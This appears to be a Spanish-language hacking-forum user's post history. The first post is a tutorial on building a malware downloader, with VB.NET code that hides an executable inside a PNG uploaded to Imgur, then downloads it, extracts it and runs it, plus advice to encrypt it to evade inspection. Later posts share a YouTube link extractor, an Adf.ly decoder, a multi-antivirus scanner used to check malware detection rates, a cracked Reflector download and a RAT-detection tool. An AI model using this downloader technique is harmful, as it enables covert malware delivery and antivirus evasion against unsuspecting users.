Hoy hablaremos sobre un tipo de malware llamado: Downloader.

¿Qué es un Downloader?

CitarEste tipo de malware lo que hace es descarga en secreto archivos maliciosos desde un servidor remoto, para posteriormente ejecutarlo,instalar software malicioso en el Sistema.
CitarBasicamente lo que hace es descargar malware(troyanos,keyloggers,...,etc.) subido en algun hosting, generalmente se usan hosting de descarga directa(ej: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) o en algunos casos suben a servidores tipo Pastebin, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o similares previamente codificado (El problema principal de estos hosting de descarga directa es que son detectados por los AntiVirus.).


Ya sabiendo que es y como funciona, voy a explicar como crear uno (No es muy complicado en realidad es muy sencillo):
Para este proposito usaremos un hosting que permite subir Imagenes llamado "Imgur", si, si Imgur...xD un servidor web que nos permite el almacenamiento de Imagenes.

Subir directamente cambiando de extension a un ejecutable(por un .jpg o .png) no funcionará debido a sus medidas de proteccion que usa para subir imagenes en IMGUR.




Lo que haremos será unir: "imagen + ejecutable",sencillo no?, con eso ya tendriamos solucionado el tema de subir sin problemas el malware, 

El lenguaje de programacion que elijan  para crearlo es indistinto, yo lo haré en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Para unir : "Imagen + Server", lo haremos de la siguiente forma:


Código: vbnet
Dim imgbytes As Byte() = IO.File.ReadAllBytes("D:\img.png") ' Leemos el contenido de la Imagen
        Dim serverbytes As Byte() = IO.File.ReadAllBytes("D:\Anotador.exe") ' Leemos el Contenido del Malware(troyanos, keylogger,....etc)
        Using fs As New IO.FileStream("tmp.png", IO.FileMode.Create) ' Comenzaremos a escribir nuestra nueva imagen con la Imagen Inicial + Server.
            fs.Write(imgbytes, 0, imgbytes.Length)
            fs.Write(serverbytes, 0, serverbytes.Length)
        End Using
        MessageBox.Show("Done!!!")


Subimos la Imagen al Imgur:


Para Descargar el Server, lo haremos de la siguiente manera:

Código: vbnet
Dim imgbytes As Byte() ' Variable para almacenar la imagen
Const imgSize As Integer = 17083   ' Tamaño de la Imagen Inicial
Using wc As New Net.WebClient()
    imgbytes = wc.DownloadData("http://i.imgur.com/6TZKG9q.png")
    Using ms As New IO.MemoryStream(imgbytes, imgSize, imgbytes.Length - imgSize) 'Aqui obtenemos el tamaño del malware, separando de la imagen Inicial.
        ' Aqui se puede hacer cualquier cosa, droppear el archivo en Disco/
        ' IO.File.WriteAllBytes("D:\Test1.exe", ms.ToArray)
        ' Process.Start("D:\Test1.exe")
    End Using
End Using


Algunas cosas que debes considerar:

Si vemos con algun editor Hexadecimal, veremos que se puede ver el ejecutable, una opcion es cifrar el archivo.



Pues nada cualquier duda comentar en el hilo, Mensaje Privado o  por Skype.


#24
C# - VB.NET / [Vb.Net] YouTubeHelper by fudmario
Noviembre 21, 2015, 12:22:57 AM
Código: vbnet

' ***********************************************************************
' Assembly         : Youtube Downloader
' Author           : fudmario
' Created          : 15-06-2015
'
' Last Modified By : fudmario
' Last Modified On : 11-20-2015
' ***********************************************************************
' <copyright file="YoutubeHelper.vb" company="FudmarioDev">
'     '     Copyright ©  2015
'
' </copyright>
' <summary></summary>
' *************************************************************************

Option Explicit On
Option Strict On
Option Infer On

Imports System.Collections.Specialized
Imports System.Net
Imports System.Text
Imports System.Text.RegularExpressions
Imports System.Web

''' <summary>
''' Class YoutubeHelper. Esta Clase no puede ser Heredada.
''' </summary>
Public NotInheritable Class YoutubeHelper
    ''' <summary>
    ''' Url para Obtener la Información del Video
    ''' </summary>
    Private Const InfoUrl As String = "http://www.youtube.com/get_video_info?video_id="

    ''' <summary>
    ''' Expresión Regular para obtener el Link de la imagen del Video.
    ''' </summary>
    ''' <value>The imagen.</value>
    Private Shared ReadOnly Property Imagen As Regex
        Get
            Return New Regex("<meta\sproperty=""og:image""\scontent=""(.*?default\.jpg)"">")
        End Get
    End Property

    ''' <summary>
    ''' Expresion Regular para Obtener el Título del video.
    ''' </summary>
    ''' <value>The title.</value>
    Private Shared ReadOnly Property Title As Regex
        Get
            Return New Regex("<meta\sproperty=""og:title""\scontent=""(.*?)"">")
        End Get
    End Property

    ''' <summary>
    ''' Expresion Regular para obtener la Descripción del Video.
    ''' </summary>
    ''' <value>Descripción del Video.</value>
    Private Shared ReadOnly Property Description As Regex
        Get
            Return New Regex("<meta\sproperty=""og:description""\scontent=""(.*?)"">")
        End Get
    End Property

    ''' <summary>
    ''' Expresion Regular para obtener la Duracion del Video (en segundos).
    ''' </summary>
    ''' <value> Duracion del Video (en segundos).</value>
    Private Shared ReadOnly Property Duration As Regex
        Get
            Return New Regex("length_seconds"":""(.*?)"",")
        End Get
    End Property

''' <summary>
    ''' Obtiene Informacion sobre la Url de Video de Youtube.
    ''' </summary>
    ''' <param name="url">Url del Video de YouTube.</param>
    ''' <param name="byPass">Si se establece como <c>true</c> aplicamos el bypass.</param>
    ''' <returns>YouTubeVideoInformation.</returns>
    ''' <exception cref="ArgumentNullException">La <paramref name="url" /> no puede estar vacia;url</exception>
    ''' <exception cref="FormatException">Formato de <paramref name="url" /> Invalido;Url</exception>
    Public Shared Function GetYouTubeVideoInfo(url As String, Optional ByVal byPass As Boolean = False) As YouTubeVideoInformation

        If String.IsNullOrEmpty(url) Then Throw New ArgumentNullException(message:="La Url no puede estar vacia", paramName:="URL")

        If Not Regex.IsMatch(url, "(http|https):..(www\.)?youtube.com.watch\?v=") Then Throw New FormatException(message:="Formato de Url Invalido")

        Dim videoInfoFull As New YouTubeVideoInformation
        Dim infoVideo As New List(Of YoutubeVideoInfo)
        Dim adInfoVideo As YoutubeVideoInfo
        Dim mSource As String
        Dim arrayParams As NameValueCollection

        Using c As New WebClient
            c.Encoding = Encoding.GetEncoding(1252)
            mSource = c.DownloadString(url)

            Select Case byPass
                Case True
                    arrayParams = HttpUtility.ParseQueryString(HttpUtility.HtmlDecode(c.DownloadString(String.Format("{0}{1}&el=vevo", InfoUrl, HttpUtility.ParseQueryString(New Uri(url).Query).Get("v")))))
                Case Else
                    arrayParams = HttpUtility.ParseQueryString(HttpUtility.HtmlDecode(c.DownloadString(String.Format("{0}{1}", InfoUrl, HttpUtility.ParseQueryString(New Uri(url).Query).Get("v")))))
            End Select
        End Using

        Dim ytTitle As String = HttpUtility.HtmlDecode(Title.Match(mSource).Groups(1).Value)
        Dim ytDescription As String = HttpUtility.HtmlDecode(Description.Match(mSource).Groups(1).Value)
        Dim ytDuration As Double = CDbl(Duration.Match(mSource).Groups(1).Value)
        Dim ytImg As String = Imagen.Match(mSource).Groups(1).Value

        If arrayParams("status") = "ok" Then

            Dim urLs As String() = arrayParams("url_encoded_fmt_stream_map").Split(","c)
            Dim sb As New StringBuilder()
            For i = 0 To urLs.Length - 1
                adInfoVideo = New YoutubeVideoInfo()
                sb.Clear()
                Dim mUriDec As String = HttpUtility.HtmlDecode(urLs(i))
                Dim urlParams As NameValueCollection = HttpUtility.ParseQueryString(mUriDec)
                Dim vidFormat As String = HttpUtility.HtmlDecode(urlParams("type"))
                sb.Append(HttpUtility.HtmlDecode(urlParams("Url")))
                sb.AppendFormat("&signature={0}", HttpUtility.HtmlDecode(urlParams("sig")))
                sb.AppendFormat("&type={0}", vidFormat)
                sb.AppendFormat("&title={0}", HttpUtility.HtmlDecode(arrayParams("title")))

                Dim format As String = vidFormat.Split(";"c)(0).Split("/"c)(1)
                If format.Contains("x-flv") Then
                    format = "flv"
                End If

                adInfoVideo.Url = sb.ToString
                adInfoVideo.Quality = urlParams("quality")
                adInfoVideo.Format = format
                infoVideo.Add(adInfoVideo)
            Next
            videoInfoFull.ErrorCode = 0
            videoInfoFull.LinksDetails = infoVideo
            videoInfoFull.Title = ytTitle
            videoInfoFull.Duration = ytDuration
            videoInfoFull.Description = ytDescription
            videoInfoFull.ImgLink = ytImg
            Return videoInfoFull
        Else
            videoInfoFull.ErrorCode = 1
            videoInfoFull.ErrorMsg = HttpUtility.HtmlDecode(arrayParams("reason"))
            Return videoInfoFull
        End If

    End Function
End Class

''' <summary>
''' Información Básica del Video.
''' </summary>
Public Class YoutubeVideoInfo
    ''' <summary>
    ''' Obtiene o Establece la Url Directa del Video.
    ''' </summary>
    ''' <value>Url Directa del Video.</value>
    Public Property Url() As String
    ''' <summary>
    ''' Obtiene o Establece el Formato del Video.
    ''' </summary>
    ''' <value>Formato del Video.</value>
    Public Property Format() As String

    ''' <summary>
    ''' Obtiene o Establece La Calidad del Video.
    ''' </summary>
    ''' <value>Calidad del Video.</value>
    Public Property Quality() As String

End Class

''' <summary>
''' Información Completa del Video de YouTube.
''' </summary>
Public Class YouTubeVideoInformation
    ''' <summary>
    ''' Obtiene o Establece la lista de Link's Disponibles y Informacion Adicional.
    ''' </summary>
    ''' <value>lista de Link's Disponibles.</value>
    Public Property LinksDetails() As List(Of YoutubeVideoInfo)

    ''' <summary>
    ''' Obtiene o Establece El Titulo del Video.
    ''' </summary>
    ''' <value>El Titulo del Video.</value>
    Public Property Title() As String

    ''' <summary>
    ''' Obtiene o Establece El link de la Imagen del Video.
    ''' </summary>
    ''' <value>El link de la Imagen del Video.</value>
    Public Property ImgLink() As String

    ''' <summary>
    ''' Obtiene o Establece la Descripción del Video.
    ''' </summary>
    ''' <value>la Descripción del Video.</value>
    Public Property Description() As String

    ''' <summary>
    ''' Obtiene o Establece la Duracion del Video.
    ''' </summary>
    ''' <value>Duracion del Video.</value>
    Public Property Duration() As Double
    ''' <summary>
    ''' Obtiene o Establece el codigo de Error: 0 = No Error, 1 = Error.
    ''' </summary>
    ''' <value>codigo de Error: 0 = No Error, 1 = Error..</value>
    Public Property ErrorCode() As Integer

    ''' <summary>
    ''' Obtiene o Establece el Mensaje de Error.
    ''' </summary>
    ''' <value>Mensaje de Error.</value>
    Public Property ErrorMsg() As String
End Class





  • Ejemplo de Uso:

Código: vbnet
Dim response As YouTubeVideoInformation
        response = YoutubeHelper.GetYouTubeVideoInfo("https://www.youtube.com/watch?v=mWRsgZuwf_8", True)
        If response.ErrorCode = 0 Then

            Dim sb As New System.Text.StringBuilder
            sb.AppendLine(String.Format("Titulo: {0}", response.Title))
            sb.AppendLine(String.Format("Descripción: {0}", response.Description))
            sb.AppendLine(String.Format("Duración: {0}", TimeSpan.FromSeconds(response.Duration).ToString("hh\:mm\:ss")))
            sb.AppendLine(String.Format("Url de la Imagen: {0}", response.ImgLink))
            sb.AppendLine()
            sb.AppendLine("Urls: ")
            For Each urldetails As YoutubeVideoInfo In response.LinksDetails

                sb.AppendLine("*************************")
                sb.AppendLine(String.Format("Url: {0}", urldetails.Url))
                sb.AppendLine(String.Format("Formato: {0}", urldetails.Format))
                sb.AppendLine(String.Format("Calidad: {0}", urldetails.Quality))

            Next
            MessageBox.Show(sb.ToString)
        Else
            MessageBox.Show(response.ErrorMsg)
        End If

      

  • Retorna:


Código: php
Titulo: Imagine Dragons - Demons (Official)
Descripción: Get Smoke + Mirrors on iTunes now: http://smarturl.it/IDSmokeMirrors Get Smoke + Mirrors Deluxe version with 4 exclusive songs only at Target: http://smartur...
Duración: 00:03:57
Url de la Imagen: https://i.ytimg.com/vi/mWRsgZuwf_8/maxresdefault.jpg

Urls:
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=22&ms=au&upn=hhv_O7PIcl0&pcm2=no&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&mime=video%2Fmp4&pl=20&source=youtube&ratebypass=yes&dur=236.170&lmt=1429535723891505&key=yt6&ipbits=0&gcr=bo&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Cratebypass%2Csource%2Cupn%2Cexpire&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=5582F3AC476FB6403987BF9C3CAE4DC4661C5FBB.4079167906F1B6388735F66E18D9F1C47FCF4137&pcm2cms=yes&signature=&type=video/mp4; codecs="avc1.64001F, mp4a.40.2"&title=Imagine Dragons - Demons (Official)
Formato: mp4
Calidad: hd720
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=43&ms=au&upn=hhv_O7PIcl0&pcm2=no&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&mime=video%2Fwebm&pl=20&source=youtube&ratebypass=yes&dur=0.000&lmt=1367614381944548&key=yt6&ipbits=0&gcr=bo&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Cratebypass%2Csource%2Cupn%2Cexpire&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=554A1CF81CD9B1BA71DCD24B2FCD5A0AE436A91E.937BA2CFC7599B38359F410DB6C3A15BE977131E&pcm2cms=yes&signature=&type=video/webm; codecs="vp8.0, vorbis"&title=Imagine Dragons - Demons (Official)
Formato: webm
Calidad: medium
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=18&ms=au&upn=hhv_O7PIcl0&pcm2=no&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&mime=video%2Fmp4&pl=20&source=youtube&ratebypass=yes&dur=236.170&lmt=1429535713281062&key=yt6&ipbits=0&gcr=bo&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Cratebypass%2Csource%2Cupn%2Cexpire&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=D2B70E8991B19CB7C9485ACE6B3BBEDD33E0723F.568B020038DC5E2E55DDEE030D20904A49C60CA1&pcm2cms=yes&signature=&type=video/mp4; codecs="avc1.42001E, mp4a.40.2"&title=Imagine Dragons - Demons (Official)
Formato: mp4
Calidad: medium
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=5&ms=au&upn=hhv_O7PIcl0&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Csource%2Cupn%2Cexpire&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&pcm2=no&mime=video%2Fx-flv&pl=20&source=youtube&dur=236.173&lmt=1394291864022235&key=yt6&ipbits=0&gcr=bo&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=8D3DBB8B362B16C5061F3400DE492270A3B5E015.958915343DB674110377E1F86EAA543A430485F4&pcm2cms=yes&signature=&type=video/x-flv&title=Imagine Dragons - Demons (Official)
Formato: flv
Calidad: small
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=36&ms=au&upn=hhv_O7PIcl0&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Csource%2Cupn%2Cexpire&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&pcm2=no&mime=video%2F3gpp&pl=20&source=youtube&dur=236.286&lmt=1394291766906263&key=yt6&ipbits=0&gcr=bo&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=04F7754230405A8FC022D3537A2E316F4323C905.9A15CDF618BEB230096EE39F0EC26DAC16900FAE&pcm2cms=yes&signature=&type=video/3gpp; codecs="mp4v.20.3, mp4a.40.2"&title=Imagine Dragons - Demons (Official)
Formato: 3gpp
Calidad: small
*************************
Url: http://r1---sn-o0x85uxa-a2ce.googlevideo.com/videoplayback?mt=1448075110&mv=m&initcwndbps=180000&itag=17&ms=au&upn=hhv_O7PIcl0&sparams=dur%2Cgcr%2Cid%2Cinitcwndbps%2Cip%2Cipbits%2Citag%2Clmt%2Cmime%2Cmm%2Cmn%2Cms%2Cmv%2Cpcm2%2Cpcm2cms%2Cpl%2Csource%2Cupn%2Cexpire&mm=31&mn=sn-o0x85uxa-a2ce&expire=1448096854&pcm2=no&mime=video%2F3gpp&pl=20&source=youtube&dur=236.472&lmt=1394291698741556&key=yt6&ipbits=0&gcr=bo&fexp=9407156%2C9408710%2C9413137%2C9416126%2C9417683%2C9419445%2C9419837%2C9420452%2C9421097%2C9421166%2C9421411%2C9422323%2C9422541%2C9422596%2C9422618%2C9422838%2C9422992%2C9423042%2C9423431%2C9423489%2C9423643%2C9423662%2C9423667%2C9424509%2C9424740&id=o-APsq1d2t11trGfv2qYsVS9NyPHMMqsQcMSBaV7pEXwYP&sver=3&ip=161.22.129.235&signature=864F4C8D6C43652AA8CE344C5DBD12CA1B88FFBE.1996D808B12B0ED01CF517E5736FF2F9D0872855&pcm2cms=yes&signature=&type=video/3gpp; codecs="mp4v.20.3, mp4a.40.2"&title=Imagine Dragons - Demons (Official)
Formato: 3gpp
Calidad: small
#25
C# - VB.NET / [Function] Adf.ly Decode by fudmario[vb.net]
Septiembre 16, 2015, 12:01:51 PM
Código: vbnet

   Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        TextBox1.Text = AdflyUrlDecode("http://adf.ly/1NfMkS")
       
    End Sub

' Return: https://itunes.apple.com/us/app/game-of-thrones-ascent/id799145075



Código: vbnet
' ***********************************************************************
' Author           : fudmario
' Created          : 09-15-2015
'
' Last Modified By : fudmario
' Last Modified On : 09-16-2015
' ***********************************************************************
' <copyright file="Adfly_Decode.vb" company="fudmarioDev">
'     Copyright (c) fudmarioDev. All rights reserved.
' </copyright>
' <summary></summary>
' ***********************************************************************
Imports System.IO
Imports System.Net
Imports System.Text
Module AdflyDecode
    ''' <summary>
    '''     Decodifica una Url de Adf.ly.
    ''' </summary>
    ''' <param name="url">URL a decodificar.</param>
    ''' <returns>Retorna la Url Decodificada.</returns>
    Public Function AdflyUrlDecode(url As String) As String
        Try
            Dim sb As New StringBuilder
            Dim data As String = GetSource(url:=url)
            Dim rt As String() = {"ysmm = '", "'"c}
            Dim a As Integer = data.IndexOf(rt(0), StringComparison.Ordinal) + rt(0).Length + 1
            Dim b As Integer = data.Substring(a).IndexOf(rt(1), StringComparison.Ordinal) + 1
            Dim s As String = Mid(data, a, b)
            For i = 0 To s.Length - 1 Step 2
                sb.Append(s(i))
            Next
            For k = s.Length - 1 To 0 Step -2
                sb.Append(s(k))
            Next
            Return Encoding.ASCII.GetString(Convert.FromBase64String(sb.ToString())).Substring(2)
        Catch ex As Exception
            Return String.Empty
        End Try
    End Function

    ''' <summary>
    '''     Obtiene el Código Fuente de una Url.
    ''' </summary>
    ''' <param name="url">Url.</param>
    ''' <returns>Retorna el código fuente de una Url.</returns>
    Private Function GetSource(url As String) As String
        Try
            Return New StreamReader(WebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd()
        Catch ex As Exception
            Return String.Empty
        End Try
    End Function
End Module

#26
Hola a todos aqui les dejo una actualización del multi-scanner, los uploaders funcionaban correctamente en la version anterior
que postee, el problema estaba al momento de parsear los resultados, corregi esos errores  entre otros.

Paginas WebScan:



queria subir un VIDEO, pero como recien acabo de formatear mi pc, no tengo herramientas, asi que les dejo
el video de la anterior version(0.2 que no publique xD)



Algunas Capturas:







Ejemplos de Reportes:




FileName : Keygens.exe
FileSize : 32,09 Kb
MD5 :40fb309eb029041ea44e08e17de6fa04
Result 16/35

BBCode by No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

AVG Free :OK
Avast :Win32:Malware-gen
AntiVir (Avira) :TR\/Dropper.Gen
BitDefender :Trojan.Generic.12194471
Clam Antivirus :OK
COMODO Internet Security :OK
Dr.Web :OK
eTrust-Vet :Win32\/LineZer0_i
F-PROT Antivirus :OK
F-Secure Internet Security :Trojan.Generic.12194471
G Data :Trojan.Generic.12194471
IKARUS Security :OK
Kaspersky Antivirus :OK
McAfee :OK
MS Security Essentials :OK
ESET NOD32 :ApplicUnwnt.MSIL\/Packed.Confuser.A
Norman :Trojan.Generic.12194471
Norton Antivirus :Trojan.Gen.2
Panda Security :OK
A-Squared :Trojan.Generic.12194471 (B)
Quick Heal Antivirus :OK
Solo Antivirus :OK
Sophos :OK
Trend Micro Internet Security :OK
VBA32 Antivirus :OK
Zoner AntiVirus :OK
Ad-Aware :Trojan.Generic.12194471
BullGuard :Gen:Variant.Symmi.47669
FortiClient :OK
K7 Ultimate :Trojan ( 003560791 )
NANO Antivirus :OK
Panda CommandLine :OK
SUPERAntiSpyware :Trojan.Agent\/Gen-Jorik.Process-1
Twister Antivirus :Virus.1C3A8E1AB65BC73A
VIPRE :Trojan.Win32.Generic=21BT



File Name: Keygens.exe

File Size: 32,09 Kb

Scan Date: 02/08/2015

Scan Result: 15/34

MD5: 40fb309eb029041ea44e08e17de6fa04

Verified By NoDistribute: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



A-SquaredTrojan.Generic.12194471 (B)
AVG Free : Clean
Ad-AwareTrojan.Generic.12194471
AntiVir (Avira)TR/Dropper.Gen
AvastWin32:Malware-gen
BitDefenderTrojan.Generic.12194471
BullGuardGen:Variant.Barys.9361
COMODO Internet Security : Clean
Clam Antivirus : Clean
Dr.Web : Clean
F-PROT Antivirus : Clean
F-Secure Internet SecurityTrojan.Generic.12194471
FortiClient : Clean
G DataTrojan.Generic.12194471
IKARUS Security : Clean
K7 UltimateTrojan ( 003560791 )
Kaspersky Antivirus : Clean
MS Security Essentials : Clean
McAfee : Clean
NANO Antivirus : Clean
NormanTrojan.Generic.12194471
Norton AntivirusTrojan.Gen.2
Panda CommandLine : Clean
Panda Security : Clean
Quick Heal Antivirus : Clean
SUPERAntiSpywareTrojan.Agent/Gen-Jorik.Process-1
Solo Antivirus : Clean
Sophos : Clean
Trend Micro Internet Security : Clean
Twister AntivirusVirus.1C3A8E1AB65BC73A
VBA32 Antivirus : Clean
VIPRETrojan.Win32.Generic=21BT
Zoner AntiVirus : Clean
eTrust-VetWin32/LineZer0_i







Código: php

FileName: Multi-Scanner v0.3 by fudmario.exe
FileSize: 3139,5 Kb
Hash MD5: 8a41d825adf05fe7da2b59ac3ca7af25


Descarga:
Ejecutable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Nueva Descarga:   No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
         
Dependencias: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Contraseña:  byfudmario



Nota_1: Requiere WinRAR 5 para descomprimir.
Nota_2: Requiere que las .dll este en la misma Ruta del Ejecutable.
Nota_3: Las Librerias HtmlAgilityPack y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta vienen embebidas en el ejecutable.

PD_1: Si van a postear en otros foros, por favor no poner links de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o Similares,...
PD_2: Si alguien puede agregar algun Mirror, para evitar alguna caida xD.



PARA LOS DESCONFIADOS:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#27
Bueno aqui les dejo esta tonteria que hice en mis ratos libres,.xD
Es una version GUI de los scanner mas usados para analizar con diversos antivirus(o almenos los que supuestamente no envian muestras a los avs).
Para facilitarme al momento de parsear los resultados use las librerias: htmlagilitypack y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(Newtonsoft)





Caracteristicas Principales:




*nodistribute: solo admite 4 scan por dia, pero eh agregado la opcion de scanear mediante un PROXY, para scan Ilimitados.
**Por defecto solo obtiene del Tipo: Elite(Solo genera este tipo de proxy, porque en las pruebas que hice, me dieron mejores resultados con este tipo de proxy)


Algunas Capturas:











Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: _by_fudmario_


Cualquier duda, sugerencia o error, favor de enviarme por MP o por SKYPE.


Saludos.
#28
C# - VB.NET / [C#]NET.Reflector.v7.0[SC]
Abril 01, 2015, 12:08:06 AM


Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: M-H


#29
Seguridad / ScanRAT V2.6 Multi-tools by fudmario
Marzo 05, 2015, 08:44:21 PM
Aquí les dejo una actualización de esta herramienta, eh corregido algunos errores, he mejorado un poco el código, vi también que  ya no funcionaba el IP-TRACKER, entre otras cosas mejora de la Apariencia.
Aunque estaba pensando en quitar lo del ScanRAT, porque prácticamente lo deje sin actualizar con nuevos virus o alguna mejora significativa (por no decir Obsoleta/Simple  la forma de detección por los log's que dejan los troyanos), decidí mantenerlo aún, ya que ese era su nombre original y bueno en parte ese propósito  de esta herramienta la de Analizar a un RAT o similares.
Tampoco eh añadido muchas de las opciones que tenía pensado añadir, porque es la primera vez que utilizo DOTNETBAR, cuando tenga una interfaz final voy a añadir todas las Opciones, que eh estado haciéndolo por separado.





VIDEOS:

ScanRAT v2 6 MultiTools by fudmario | Exe Inspector



ScanRAT v2.6 MultiTools by fudmario | USB Cleaner


Version Anterior Demo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




HERRAMIENTAS:

       
  • SCANRAT: Permite detectar si hay rastros de los RAT's  más comunes  en nuestra PC, esto mediante ficheros que generalmente deja algunos troyanos.
     
  • LIMPIADOR DE USB: Nos permite Buscar gusanos VBS en nuestro USB que ocultan carpetas  o crean Accesos directos de las mismas, con la opción de Revisar busca archivos VBS y .LNK y la Opción de Reparar nos permite Eliminar Esos Archivos, también tiene un botón para des ocultar Ficheros escondidos.
       
  • VISOR DE PROCESOS: Nos permite visualizar los procesos en ejecución en nuestro sistema, además nos permite obtener los módulos cargados por un determinado proceso, incluyendo tres formas de  finalizar proceso, bloqueador de procesos, marcador de proceso para poder visualizar o encontrar fácilmente un proceso.
       
  • INICIO DE WINDOWS: Nos permite visualizar las aplicaciones que se ejecutan al Iniciar Windows en las rutas más comunes en: HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE Y LA CARPETA DE INICIO DE WINDOWS. También nos permite visualizar  los servicios con los que inicia, con la opción de Iniciar, detener, pausar o continuar un servicio. Y la opción de visualizar el archivo host, para bloquear un dominio o ver si existe alguna modificación en el archivo host.
       
  • PROTECTOR DE CARPETA: Nos permite bloquear carpetas mediante permisos, un  uso sencillo es la de proteger aplicaciones que son detectadas como virus por los Antivirus (sé que es una tontería, pero bueno).
       
  • CAPTURADOR  DE PROCESOS: Nos permite Monitorizar los Proceso que son ejecutados.
  • CAPTURADOR  DE EVENTOS: Nos permite obtener las modificaciones en el sistema, mediante FILESYSTEMWATCHER,  detecta: Creados, Eliminados, Modificados, Renombrados con la Opción de Incluir subdirectorios.
  • EXE INSPECTOR: Nos permite encontrar cadenas de textos en ejecutables  con la opción de Copiar al Portapapeles, también nos permite Filtrar para encontrar Rutas de archivos, Direcciones de Correo Electrónico, Link, esto lo podemos utilizar cuando desempaquetamos ejecutables que usan PACKER o si dumpeamos un proceso,.. etc.
  • DESOFUSCADOR DE VBS: Con esta herramienta nos permite desofuscar   archivos vbs, demo en el video de abajo.
     
  • CONEXIONES TCP: Nos permite enumerar conexiones TCP, con la opción de Localizar IP, para el localizador de IP, trabaja con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, IPFINDER y GOOGLEMAP.



Para el correcto funcionamiento, debes ejecutarlo como administrador


Principal


ScanRAT


USB Cleaner



Process Viewer


Process Lock




Windows Start


Folder Protector


Process Capture




FileSystemWatcher



Exe Inspector
Dump String


Url Dump


VBS Deobuscate



TCP CONNECTIONs





Settings



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Descarga:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


